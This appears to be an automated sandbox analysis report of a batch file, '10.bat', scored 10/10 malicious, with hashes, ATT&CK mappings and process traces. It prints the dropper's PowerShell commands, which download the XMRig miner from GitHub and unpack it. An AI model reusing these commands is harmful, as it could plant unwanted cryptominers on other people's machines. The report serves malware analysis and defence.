c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
22-05-2024 02:54

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General

Target

10.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

3 2184 powershell.exe
4 2184 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2688 powershell.exe
2184 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2184 powershell.exe
2688 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2184 powershell.exe
Token: SeDebugPrivilege 2688 powershell.exe

flow	pid	process
3	2184	powershell.exe
4	2184	powershell.exe

pid	process
2688	powershell.exe
2184	powershell.exe

pid	process
2184	powershell.exe
2688	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1792 wrote to memory of 2184	1792	cmd.exe	powershell.exe
PID 1792 wrote to memory of 2184	1792	cmd.exe	powershell.exe
PID 1792 wrote to memory of 2184	1792	cmd.exe	powershell.exe
PID 1792 wrote to memory of 2688	1792	cmd.exe	powershell.exe
PID 1792 wrote to memory of 2688	1792	cmd.exe	powershell.exe
PID 1792 wrote to memory of 2688	1792	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\10.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A9IB2ZI4N8T7MC834RFE.temp

Filesize
7KB

MD5
d7cf367627a225e58d29c951bb6627f0

SHA1
88f0716d4347ccdebd9075c0d008736dc68e9c96

SHA256
e5e19e6b45644b174adb979e456c4f7994d16fd07482e570bf21966b17567dc4

SHA512
a08176752730712e3eb320661b26ceb17c1b63de2700c27c74d102adf2b7a2d6c884b260ea7d28874f81fcde17c9f4a54806993f86b2fb87a045c736608e8d90

Download Submit
memory/2184-4-0x000007FEF639E000-0x000007FEF639F000-memory.dmp

Filesize
4KB

Download
memory/2184-5-0x000000001B850000-0x000000001BB32000-memory.dmp

Filesize
2.9MB

Download
memory/2184-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2184-7-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-8-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-9-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-10-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-11-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-12-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-19-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2688-18-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download